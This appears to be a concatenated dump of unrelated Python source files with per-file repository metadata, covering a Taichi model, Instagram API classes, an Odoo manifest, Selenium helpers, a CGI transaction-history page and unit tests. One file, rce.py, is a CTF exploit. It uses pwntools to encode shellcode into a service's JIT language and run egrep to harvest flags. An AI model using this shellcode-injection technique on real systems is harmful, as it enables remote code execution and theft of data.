if not isinstance(value, Sequence):
raise Exception("Expected sequense, but was " , type(value))
self.__controlSignalInputSlots = value
@property
def radiationData(self) -> InputSlot:
""""""
return self.__radiationData
@radiationData.setter
def radiationData(self, value: InputSlot):
"""Set radiationData"""
self.__radiationData = value
@property
def structuralMass(self) -> InputSlot:
""""""
return self.__structuralMass
@structuralMass.setter
def structuralMass(self, value: InputSlot):
"""Set structuralMass"""
self.__structuralMass = value
@property
def extraDamping(self) -> InputSlot:
""""""
return self.__extraDamping
@extraDamping.setter
def extraDamping(self, value: InputSlot):
"""Set extraDamping"""
self.__extraDamping = value
@property
def outputSlot(self) -> OutputSlot:
""""""
return self.__outputSlot
@outputSlot.setter
def outputSlot(self, value: OutputSlot):
"""Set outputSlot"""
self.__outputSlot = value
@property
def timeStep(self) -> float:
"""Retardation function timeStep"""
return self.__timeStep
@timeStep.setter
def timeStep(self, value: float):
"""Set timeStep"""
self.__timeStep = float(value)
@property
def powerOfTwo(self) -> int:
"""Length of array used for fft/ifft. Default 2**13."""
return self.__powerOfTwo
@powerOfTwo.setter
def powerOfTwo(self, value: int):
"""Set powerOfTwo"""
self.__powerOfTwo = int(value)
@property
def cutFactor(self) -> float:
"""factor for cut of fft. Default 200"""
return self.__cutFactor
@cutFactor.setter
def cutFactor(self, value: float):
"""Set cutFactor"""
self.__cutFactor = float(value)
@property
def useStructuralMass(self) -> bool:
"""Use structural mass together with a cut factor for removing certain degrees of freedom"""
return self.__useStructuralMass
@useStructuralMass.setter
def useStructuralMass(self, value: bool):
"""Set useStructuralMass"""
self.__useStructuralMass = bool(value)
@property
def massCutFactor(self) -> float:
"""Factor used together with structural mass to cut a degree of freedom. Small factor means larger chance of cutting"""
return self.__massCutFactor
@massCutFactor.setter
def massCutFactor(self, value: float):
"""Set massCutFactor"""
self.__massCutFactor = float(value)
| 28.154717 | 181 | 0.622303 | 750 | 7,461 | 6.070667 | 0.148 | 0.045904 | 0.063255 | 0.016473 | 0.142763 | 0.142763 | 0.142763 | 0.142763 | 0.128706 | 0.128706 | 0 | 0.009208 | 0.272216 | 7,461 | 264 | 182 | 28.261364 | 0.829282 | 0.219408 | 0 | 0.154362 | 1 | 0 | 0.009847 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.255034 | false | 0 | 0.067114 | 0 | 0.456376 | 0.026846 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e91af699a9c3ad4f9f5cb6feb82ba4f2cac4015f | 1,003 | py | Python | rubbish.bin/legacy/taichi_three/scatter.py | Jack12xl/taichi_three | 4785aeefd9e0bccd33cc9b564046dc566b03c714 | [
"MIT"
] | null | null | null | rubbish.bin/legacy/taichi_three/scatter.py | Jack12xl/taichi_three | 4785aeefd9e0bccd33cc9b564046dc566b03c714 | [
"MIT"
] | null | null | null | rubbish.bin/legacy/taichi_three/scatter.py | Jack12xl/taichi_three | 4785aeefd9e0bccd33cc9b564046dc566b03c714 | [
"MIT"
] | null | null | null | import numpy as np
import taichi as ti
import taichi_glsl as ts
from .geometry import *
from .shading import *
from .transform import *
from .common import *
from .model import *
import math
class ScatterModel(ModelBase):
def __init__(self, num=None):
super().__init__()
self.num = num
if num is not None:
self.pos = ti.Vector.field(3, float, num)
self.radius = ti.field(float, num)
@ti.materialize_callback
def initialize_radius():
self.radius.fill(0.1)
from .shading import Material, CookTorrance
self.material = Material(CookTorrance())
@ti.func
def render(self, camera):
for i in ti.grouped(self.pos):
render_particle(self, camera, i)
@ti.func
def colorize(self, pos, normal):
with self.material.specify_inputs(model=self, pos=pos, texcoor=None, normal=normal, tangent=None, bitangent=None) as shader:
return shader.colorize()
| 26.394737 | 132 | 0.634098 | 129 | 1,003 | 4.829457 | 0.457364 | 0.064205 | 0.054575 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004082 | 0.267198 | 1,003 | 37 | 133 | 27.108108 | 0.843537 | 0 | 0 | 0.068966 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.137931 | false | 0 | 0.344828 | 0 | 0.551724 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
e9420b0de5c67aa9a4875f8055caae995e1d938c | 394 | py | Python | instagram_api/response/on_board_catalog.py | Yuego/instagram_api | b53f72db36c505a2eb24ebac1ba8267a0cc295bb | [
"MIT"
] | 13 | 2019-08-07T21:24:34.000Z | 2020-12-12T12:23:50.000Z | instagram_api/response/on_board_catalog.py | Yuego/instagram_api | b53f72db36c505a2eb24ebac1ba8267a0cc295bb | [
"MIT"
] | null | null | null | instagram_api/response/on_board_catalog.py | Yuego/instagram_api | b53f72db36c505a2eb24ebac1ba8267a0cc295bb | [
"MIT"
] | null | null | null | from .mapper import ApiResponse, ApiResponseInterface
from .mapper.types import Timestamp, AnyType
__all__ = ['OnBoardCatalogResponse']
class OnBoardCatalogResponseInterface(ApiResponseInterface):
shopping_onboarding_state: str
current_catalog_id: str
is_business_targeted_for_shopping: bool
class OnBoardCatalogResponse(ApiResponse, OnBoardCatalogResponseInterface):
pass
| 26.266667 | 75 | 0.832487 | 35 | 394 | 9.028571 | 0.714286 | 0.063291 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116751 | 394 | 14 | 76 | 28.142857 | 0.908046 | 0 | 0 | 0 | 0 | 0 | 0.055838 | 0.055838 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.111111 | 0.222222 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
3a682a2d48e8a1b69de45df21a914a488b31f804 | 1,125 | py | Python | apps/odoo/lib/odoo-10.0.post20170615-py2.7.egg/odoo/addons/website_crm_partner_assign/__manifest__.py | gtfarng/Odoo_migrade | 9cc28fae4c379e407645248a29d22139925eafe7 | [
"Apache-2.0"
] | 1 | 2019-12-19T01:53:13.000Z | 2019-12-19T01:53:13.000Z | apps/odoo/lib/odoo-10.0.post20170615-py2.7.egg/odoo/addons/website_crm_partner_assign/__manifest__.py | gtfarng/Odoo_migrade | 9cc28fae4c379e407645248a29d22139925eafe7 | [
"Apache-2.0"
] | null | null | null | apps/odoo/lib/odoo-10.0.post20170615-py2.7.egg/odoo/addons/website_crm_partner_assign/__manifest__.py | gtfarng/Odoo_migrade | 9cc28fae4c379e407645248a29d22139925eafe7 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
{
'name': 'Resellers',
'category': 'Sales',
'website': 'https://www.odoo.com/page/website-builder',
'summary': 'Publish Your Channel of Resellers',
'version': '1.0',
'description': """
Publish and Assign Partner
==========================
""",
'depends': ['base_geolocalize', 'crm', 'account', 'portal',
'website_partner', 'website_google_map', 'website_portal'],
'data': [
'data/portal_data.xml',
'data/crm_partner_assign_data.xml',
'security/ir.model.access.csv',
'wizard/crm_forward_to_partner_view.xml',
'views/res_partner_views.xml',
'views/crm_lead_views.xml',
'views/website_crm_partner_assign_templates.xml',
'report/crm_lead_report_view.xml',
'report/crm_partner_report_view.xml',
],
'demo': [
'data/res_partner_demo.xml',
'data/crm_lead_demo.xml',
'data/res_partner_grade_demo.xml',
],
'qweb': ['static/src/xml/*.xml'],
'installable': True,
}
| 32.142857 | 75 | 0.599111 | 130 | 1,125 | 4.923077 | 0.507692 | 0.032813 | 0.03125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003409 | 0.217778 | 1,125 | 34 | 76 | 33.088235 | 0.723864 | 0.083556 | 0 | 0.064516 | 0 | 0 | 0.666342 | 0.354086 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a83d1c64df0f32c7cfba7fa77cc7de9f5035e5d | 208 | py | Python | htp/views/index.py | kirkjules/machine-learned-timeseries | 7aedec0fe04807fef1cf5e79a929652101d467f7 | [
"MIT"
] | 1 | 2020-05-17T21:49:57.000Z | 2020-05-17T21:49:57.000Z | htp/views/index.py | kirkjules/machine-learned-timeseries | 7aedec0fe04807fef1cf5e79a929652101d467f7 | [
"MIT"
] | 3 | 2020-08-15T01:11:45.000Z | 2022-01-13T03:22:25.000Z | htp/views/index.py | kirkjules/machine-learned-timeseries | 7aedec0fe04807fef1cf5e79a929652101d467f7 | [
"MIT"
] | null | null | null | from flask import Blueprint, render_template
from flask_login import login_required
bp = Blueprint('index', __name__)
@bp.route('/')
@login_required
def monitor():
return render_template('base.html')
| 17.333333 | 44 | 0.759615 | 27 | 208 | 5.518519 | 0.62963 | 0.120805 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129808 | 208 | 11 | 45 | 18.909091 | 0.823204 | 0 | 0 | 0 | 0 | 0 | 0.072115 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0.142857 | 0.571429 | 0.285714 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
3a84b89fd79eb9cf248046286544c79dc026de7c | 1,236 | py | Python | sploits/sumgyeojin/rce.py | C4T-BuT-S4D/training-18-10-2020 | 44d26dc481ed89b05a7ee6574229993f022cf299 | [
"WTFPL"
] | 3 | 2020-10-18T20:58:24.000Z | 2021-11-18T21:42:28.000Z | sploits/sumgyeojin/rce.py | C4T-BuT-S4D/training-18-10-2020 | 44d26dc481ed89b05a7ee6574229993f022cf299 | [
"WTFPL"
] | 6 | 2020-10-19T08:15:36.000Z | 2021-04-29T22:25:48.000Z | sploits/sumgyeojin/rce.py | C4T-BuT-S4D/training-18-10-2020 | 44d26dc481ed89b05a7ee6574229993f022cf299 | [
"WTFPL"
] | 2 | 2020-10-22T13:03:45.000Z | 2022-02-02T20:48:52.000Z | #!/usr/bin/env python3
import os
import struct
from pwn import *
context.arch = "amd64"
def generate_number(num):
code = "iqiq"
code += "ij"
for i in range(64):
if (num >> i) & 1:
code += "+rj"
code += "*jq"
return code
def generate_shellcode(shellcode):
while len(shellcode) % 8 > 0:
shellcode += b"\x00"
code = ""
for i in range(0, len(shellcode), 8):
num = struct.unpack( "<Q", shellcode[ i : i+8 ] )[ 0 ]
code += "^rr^jj^qq" + generate_number(num) + "pr"
return code
jit_enable = "00000000000000000000"
shellcode = shellcraft.pushstr( "/bin/egrep" )
shellcode += "mov rdi, rsp;"
shellcode += shellcraft.pushstr_array( "rsi", ["/bin/egrep", "-r", '[A-Z0-9]{31}=', '/jail'])
shellcode += "mov rdx, 0;"
shellcode += "mov rax, 59;"
shellcode += "syscall;"
code = jit_enable
code += generate_shellcode(asm(shellcode)) + "^rr^qq^jj^ll"
code += generate_number(0x5B3AF0) + "^qq^jj^ll"
code += "iqiqiqiqiqiqiqiq"
code += "Bl"
code += "-lr/lq^LL-Ll"
code += "^rr^qq^jj^ll"
code += "Bq"
# code += "iqiqiqiqiqiqiqiqiqiqiqiqiqiqiqiqiqiq"
# code += generate_number(0x462be0) + "mqr"
code += "^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rr^rrpq?000000000000000000000000000000"
print(code)
| 23.320755 | 115 | 0.643204 | 182 | 1,236 | 4.318681 | 0.423077 | 0.111959 | 0.160305 | 0.203562 | 0.089059 | 0.058524 | 0.058524 | 0.058524 | 0.058524 | 0.058524 | 0 | 0.076482 | 0.153722 | 1,236 | 52 | 116 | 23.769231 | 0.674952 | 0.088997 | 0 | 0.054054 | 1 | 0.027027 | 0.276937 | 0.0935 | 0 | 0 | 0.007124 | 0 | 0 | 1 | 0.054054 | false | 0 | 0.081081 | 0 | 0.189189 | 0.027027 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a91d6733015ab9d6aa73747596709f202cc5d16 | 193 | py | Python | marshmallow_jsonschema/__init__.py | hpusset/marshmallow-jsonschema | f0f87b555d34b2b8baed73293419cb2901f3b1fa | [
"MIT"
] | 2 | 2016-01-12T17:04:42.000Z | 2021-02-07T10:38:27.000Z | marshmallow_jsonschema/__init__.py | hpusset/marshmallow-jsonschema | f0f87b555d34b2b8baed73293419cb2901f3b1fa | [
"MIT"
] | null | null | null | marshmallow_jsonschema/__init__.py | hpusset/marshmallow-jsonschema | f0f87b555d34b2b8baed73293419cb2901f3b1fa | [
"MIT"
] | 1 | 2015-12-21T09:14:43.000Z | 2015-12-21T09:14:43.000Z | from pkg_resources import get_distribution
__version__ = get_distribution('marshmallow-jsonschema').version
__license__ = 'MIT'
from .base import dump_schema
__all__ = (
'dump_schema'
)
| 17.545455 | 64 | 0.782383 | 22 | 193 | 6.090909 | 0.681818 | 0.223881 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134715 | 193 | 10 | 65 | 19.3 | 0.802395 | 0 | 0 | 0 | 0 | 0 | 0.186529 | 0.11399 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3aa1029ff34f973fe9156c227b4f5c7f6c87662c | 2,719 | py | Python | fixture/litecart.py | ammstir/Selenium-traning | 09cf0ee3ea5a39cd701dcb55783c06c527d3c998 | [
"Apache-2.0"
] | null | null | null | fixture/litecart.py | ammstir/Selenium-traning | 09cf0ee3ea5a39cd701dcb55783c06c527d3c998 | [
"Apache-2.0"
] | null | null | null | fixture/litecart.py | ammstir/Selenium-traning | 09cf0ee3ea5a39cd701dcb55783c06c527d3c998 | [
"Apache-2.0"
] | null | null | null | from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import Select
from pages.litecart_homepage import LiteCartHomePage
from pages.litecart_bin import LiteCartBin
class LiteCartHelper:
def __init__(self, app):
self.app = app
self.homepage = LiteCartHomePage(self.app)
self.bin = LiteCartBin(self.app)
def customer_login(self, customer):
wd = self.app.wd
wd.find_element_by_name("email").send_keys(customer.email)
wd.find_element_by_name("password").send_keys(customer.password)
wd.find_element_by_name("login").click()
def customer_logout(self):
wd = self.app.wd
wd.find_element_by_css_selector("a[href$=logout]").click()
def create_new_customer(self, customer):
wd = self.app.wd
wd.find_element_by_css_selector("a[href$=create_account]").click()
wd.find_element_by_name("firstname").send_keys(customer.firstname)
wd.find_element_by_name("lastname").send_keys(customer.lastname)
wd.find_element_by_name("address1").send_keys(customer.address)
wd.find_element_by_name("postcode").send_keys(customer.postcode)
wd.find_element_by_name("city").send_keys(customer.city)
self.select_country(customer)
self.select_zone(customer)
wd.find_element_by_name("email").send_keys(customer.email)
wd.find_element_by_name("phone").send_keys(customer.phone)
wd.find_element_by_name("password").send_keys(customer.password)
wd.find_element_by_name("confirmed_password").send_keys(customer.password)
wd.find_element_by_name("create_account").click()
def select_zone(self, customer):
wd = self.app.wd
Select(wd.find_element_by_css_selector("select[name=zone_code]")).select_by_value(customer.zone)
def select_country(self, customer):
wd = self.app.wd
wd.find_element_by_css_selector("span.selection").click()
wd.find_element_by_css_selector("input.select2-search__field").click()
wd.find_element_by_css_selector("input.select2-search__field").send_keys(customer.country + Keys.ENTER)
def add_duck_to_bin(self, i):
self.app.session.open_litecart_homepage()
quantity = self.homepage.check_duck_quantity()
self.homepage.choose_duck_on_homepage(i)
self.homepage.click_add_to_bin()
self.homepage.wait_counter_increase(quantity)
def open_bin(self):
wd = self.app.wd
wd.find_element_by_link_text("Checkout »").click()
def remove_duck_from_bin(self):
rows_count = self.bin.items_rows_count()
self.bin.remove_item()
self.bin.wait_row_count_decrease(rows_count) | 42.484375 | 111 | 0.71644 | 377 | 2,719 | 4.824934 | 0.220159 | 0.06597 | 0.142936 | 0.164926 | 0.417262 | 0.362287 | 0.335349 | 0.335349 | 0.335349 | 0.316658 | 0 | 0.00133 | 0.170651 | 2,719 | 64 | 112 | 42.484375 | 0.804878 | 0 | 0 | 0.188679 | 0 | 0 | 0.089338 | 0.036397 | 0 | 0 | 0 | 0 | 0 | 1 | 0.169811 | false | 0.056604 | 0.075472 | 0 | 0.264151 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
3aa4790fd60973a0a4de9779c225624d5005c845 | 117 | py | Python | illud/ansi/escape_codes/control.py | AustinScola/illud | a6aca1de38bbe9d5a795aaa084bcbd6731767d18 | [
"MIT"
] | 1 | 2020-12-05T00:59:15.000Z | 2020-12-05T00:59:15.000Z | illud/ansi/escape_codes/control.py | AustinScola/illud | a6aca1de38bbe9d5a795aaa084bcbd6731767d18 | [
"MIT"
] | 112 | 2021-01-15T21:42:27.000Z | 2021-04-17T19:11:21.000Z | illud/ansi/escape_codes/control.py | AustinScola/illud | a6aca1de38bbe9d5a795aaa084bcbd6731767d18 | [
"MIT"
] | null | null | null | """ANSI escape code prefixes for control escape codes."""
ESCAPE = '\x1b'
CONTROL_SEQUENCE_INTRODUCER = ESCAPE + '['
| 29.25 | 57 | 0.726496 | 14 | 117 | 5.928571 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009901 | 0.136752 | 117 | 3 | 58 | 39 | 0.811881 | 0.435897 | 0 | 0 | 0 | 0 | 0.083333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3aa66a9e38519a1a66cd01b82a389d3728aa46b6 | 9,556 | py | Python | index.py | becherd/DBtransactions | 165f7201f10f1197df5d739cf881b9de6c51ef15 | [
"MIT"
] | 1 | 2018-07-22T11:17:57.000Z | 2018-07-22T11:17:57.000Z | index.py | becherd/DBtransactions | 165f7201f10f1197df5d739cf881b9de6c51ef15 | [
"MIT"
] | null | null | null | index.py | becherd/DBtransactions | 165f7201f10f1197df5d739cf881b9de6c51ef15 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf8 -*-
import cgi
import cgitb; cgitb.enable()
import views
import DBtransactions
form = cgi.FieldStorage()
def printjquery(graph, history):
graphJson = DBtransactions.graphToJson(graph)
jq = """<script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
<script src="/becher/static/js/cytoscape.min.js"></script>
<script src="http://cdnjs.cloudflare.com/ajax/libs/qtip2/2.2.0/jquery.qtip.min.js"></script>
<link href="http://cdnjs.cloudflare.com/ajax/libs/qtip2/2.2.0/jquery.qtip.min.css" rel="stylesheet" type="text/css" />
<script src="https://cdn.rawgit.com/cytoscape/cytoscape.js-qtip/2.2.5/cytoscape-qtip.js"></script>
<script>
$(function(){
"""
jq = jq + graphJson+graphStyle(history)
return jq
print "Content-Type: text/html"
print """
<html>
<head>
<meta charset="utf-8">
<title>DB[transactions]</title>
<link rel="stylesheet" type="text/css" href="/becher/static/css/bootstrapcosmo.min.css" />
<script src="/becher/static/js/jquery-1.11.3.min.js"></script>
<script src="/becher/static/js/bootstrap.min.js"></script>
</head>"""
def html(history):
return """<body>
<div class="panel panel-default">
<div class="panel-body">
<div class="row">
<div class="col-md-6">
"""+views.getHeading()+"""</div>
<div class="col-md-6">
<p class="text-right"><button type="button" class="btn btn-primary btn-xs" data-toggle="modal" data-target="#helpModal">
<span class="glyphicon glyphicon-question-sign" aria-hidden="true"></span> Hilfe</button>
</p>
</div>
</div>
<br/>
<div class="panel panel-default">
<div class="panel-body">
<span class="label label-success">DB-Fragen? DB fragen:</span> <a href="mailto:david.becher@mytum.de">david.becher@mytum.de</a>
</div>
</div>
<br/>
<form class="form" action="index.py" method="POST">
<div class="form-group">
<h4>Historie eingeben</h4>
<input type="text" class="form-control" name="history" value="
""" + history+ """
"></input>
</div>
<div class="form-group">
<a href="index.py" class="btn btn-default">Neue Historie generieren</a>
</div>
"""
htmlend="""
<!-- Modal: help -->
<div id="helpModal" class="modal fade" role="dialog">
<div class="modal-dialog">
<!-- Modal content-->
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h3 class="modal-title">Hilfe</h3>
</div>
<div class="modal-body">
<p>
<h4>Historie eingeben</h4>
<p>Historien in folgender Form eingeben: <code>w1[x],r2[y],r2[x],c1,a2</code></p>
</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">OK</button>
</div>
</div>
</div>
</div>
</body>
</html>
"""
def graphStyle(history):
edgeTooltips = views.conflictOperationsTooltip(history)
return """
var graph = cytoscape({
container: document.getElementById('graph'),
style: cytoscape.stylesheet()
.selector('node')
.css({
'background-color': '#2780E3',
'color': '#ffffff',
'text-outline-width': 2,
'text-outline-color': '#2780E3',
'shape': 'rectangle',
'width': 'mapData(0, 0, 30, 30, 0)',
'height': 'mapData(0, 0, 20, 20, 50)',
'content': 'data(id)',
'text-valign': 'center',
'text-halign': 'center'
})
.selector('edge')
.css({
'width': 'mapData(0, 0, 10, 5, 9)',
'line-color': 'data(color)',
'target-arrow-color': 'data(color)',
'target-arrow-shape': 'triangle',
'opacity': 0.5
}),
elements: elesJson,
layout: {
name: 'circle',
directed: true,
padding: 10
},
minZoom: 0.5,
maxZoom: 2,
autoungrabify: false,
userPanningEnabled: false,
zoomingEnabled: true,
userZoomingEnabled: false,
}); """ + edgeTooltips + """
});
</script>
"""
def printResults(string, answers={}):
history = DBtransactions.parseInput(string)
if not isinstance(history, basestring):
historyString = views.historyToString(history)
historyTable = views.historyToTable(history)
result = DBtransactions.computeEverything(history)
conflictOperations = views.conflictOperationsToString(result['conflictOperations'])
readingTAs = views.readingTAsToString(result['readingTAs'])
committedTransactions = views.transactionListToString(result['committedTAs'])
abortedTransactions = views.transactionListToString(result['abortedTAs'])
graph = result['graph']
isSR = result['SR']
operationsNotRC = result['operationsNotRC']
isRC = result['RC']
operationsNotACA = result['operationsNotACA']
isACA = result['ACA']
operationsNotST = result['operationsNotST']
isST = result['ST']
resultString = historyTable+views.wrapInPanel("Konfliktoperationen", conflictOperations,3)+views.wrapInPanel("Lesende Transaktionen", readingTAs, 3)+views.wrapInPanel("Committete Transaktionen", committedTransactions, 3)+views.wrapInPanel("Abortete Transaktionen", abortedTransactions, 3)+views.htmlGraph()+"<div>"+views.wrapInPanel("Eigenschaften von H := "+historyString, views.booleanPropertyToString("serialisierbar", isSR)+views.propertyToString("rücksetzbar", history, operationsNotRC)+views.propertyToString("vermeidet kaskadierendes Rücksetzen", history, operationsNotACA)+views.propertyToString("strikt", history, operationsNotST), 12)+"</div>"+printjquery(graph, history)
if answers:
if answers['SR'] == isSR and answers['RC'] == isRC and answers['ACA'] == isACA and answers['ST'] == isST:
returnString = printCheckboxes(answers) + views.getMessageBox("Richtig!","thumbs-up") + resultString
else:
returnString = printCheckboxes(answers) + views.getMessageBox("Leider falsch!","thumbs-down")
else:
returnString = printCheckboxes(result) + resultString
else:
returnString = printCheckboxes(answers) + history
return returnString
def getUserAnswers(form):
formKeys = form.keys();
input = {"SR": "SR" in formKeys, "RC": "RC" in formKeys, "ACA": "ACA" in formKeys, "ST": "ST" in formKeys}
return input
def printCheckboxes(checked={}):
returnString = ""
checkedStrings = {"SR": "", "RC": "", "ACA": "", "ST": ""}
for k,v in checked.iteritems():
if v:
checkedStrings[k] = " checked"
else:
checkedStrings[k] = ""
returnString = """ <br/><h4>Welche Eigenschaften erfüllt diese Historie?</h4>
<div class="form-group">
<div id="toggleButtons" class="btn-group" data-toggle="buttons">
<label id="SR" type="toggleButton">
<input type="checkbox" name="SR" autocomplete="off"
"""+checkedStrings['SR'] +"""/>
<span></span>
</label>
<label id="RC" type="toggleButton">
<input type="checkbox" name="RC" autocomplete="off"
"""+checkedStrings['RC'] +"""/>
<span></span>
</label>
<label id="ACA" type="toggleButton">
<input type="checkbox" name="ACA" autocomplete="off"
"""+checkedStrings['ACA'] +"""/>
<span></span>
</label>
<label id="ST" type="toggleButton">
<input type="checkbox" name="ST" autocomplete="off"
"""+checkedStrings['ST'] +"""/>
<span></span>
</label>
</div>
<button id="quizbutton" name="quizbutton" type="submit" class="btn btn-primary" value="true">Überprüfen</button>
</div>
<div class="form-group">
<button id="submitbutton" type="submit" class="btn btn-default btn-sm" value="send">Ergebnis anzeigen</button>
</div>
</div>
</form>
<script>
$('label[type="toggleButton"]').on("change click", function () {
var checked = $('input', this).is(':checked');
if (checked){
$(this).removeClass().addClass("btn btn-success active");
$('span', this).html('<span class="glyphicon glyphicon-ok" aria-hidden="true" onclick="return iconclicked('+this.id+');"></span>'+this.id);
}
else{
$(this).removeClass().addClass("btn btn-danger");
$('span', this).html('<span class="glyphicon glyphicon-flash" aria-hidden="true" onclick="return iconclicked('+this.id+');"></span>'+this.id);
}
}).change();
</script>
<script>
function iconclicked(label){
$("#"+label.id).click();
};
</script>
</div>
</div>
"""
return returnString
try:
history = str(form['history'].value)
try:
quizButton = form['quizbutton'].value
#quiz has been sent
print html(history) + printResults(history, getUserAnswers(form)) + htmlend
except KeyError:
#just show the results
print html(history) + printResults(history) + htmlend
except KeyError:
history = views.historyToString(DBtransactions.generateHistory(), False)
print html(history)+printCheckboxes()+htmlend
| 35.790262 | 685 | 0.595437 | 996 | 9,556 | 5.712851 | 0.307229 | 0.022496 | 0.009666 | 0.011951 | 0.227768 | 0.11283 | 0.077329 | 0.06362 | 0.05167 | 0.036907 | 0 | 0.010595 | 0.229594 | 9,556 | 266 | 686 | 35.924812 | 0.762293 | 0.007953 | 0 | 0.282609 | 0 | 0.069565 | 0.654918 | 0.11661 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.017391 | null | null | 0.056522 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3aa8480b799580a2ff7e7ee6dc5c14cac756742c | 1,001 | py | Python | 06_reproducibility/test_sigmoid.py | fanchi/ml-design-patterns | 6f686601d2385a11a517f8394324062ec6094e14 | [
"Apache-2.0"
] | 1,149 | 2020-04-09T21:20:56.000Z | 2022-03-31T02:41:53.000Z | 06_reproducibility/test_sigmoid.py | dfinke/ml-design-patterns | 6f686601d2385a11a517f8394324062ec6094e14 | [
"Apache-2.0"
] | 28 | 2020-06-14T15:17:59.000Z | 2022-02-17T10:13:08.000Z | 06_reproducibility/test_sigmoid.py | dfinke/ml-design-patterns | 6f686601d2385a11a517f8394324062ec6094e14 | [
"Apache-2.0"
] | 296 | 2020-04-28T06:26:41.000Z | 2022-03-31T06:52:33.000Z | #!/usr/bin/env python3
import unittest
import numpy as np
def sigmoid(x):
return 1.0 / (1 + np.exp(-x))
class TestSigmoid(unittest.TestCase):
def test_zero(self):
self.assertAlmostEqual(sigmoid(0), 0.5)
def test_neginf(self):
self.assertAlmostEqual(sigmoid(float("-inf")), 0)
def test_inf(self):
self.assertAlmostEqual(sigmoid(float("inf")), 1)
def cluster_kmeans(X):
from sklearn import cluster
k_means = cluster.KMeans(n_clusters=10, random_state=10)
labels = k_means.fit(X).labels_[::]
#print(labels)
return labels
class TestKMeans(unittest.TestCase):
def test_clustering(self):
from sklearn import cluster, datasets
X, _ = datasets.load_boston(return_X_y=True)
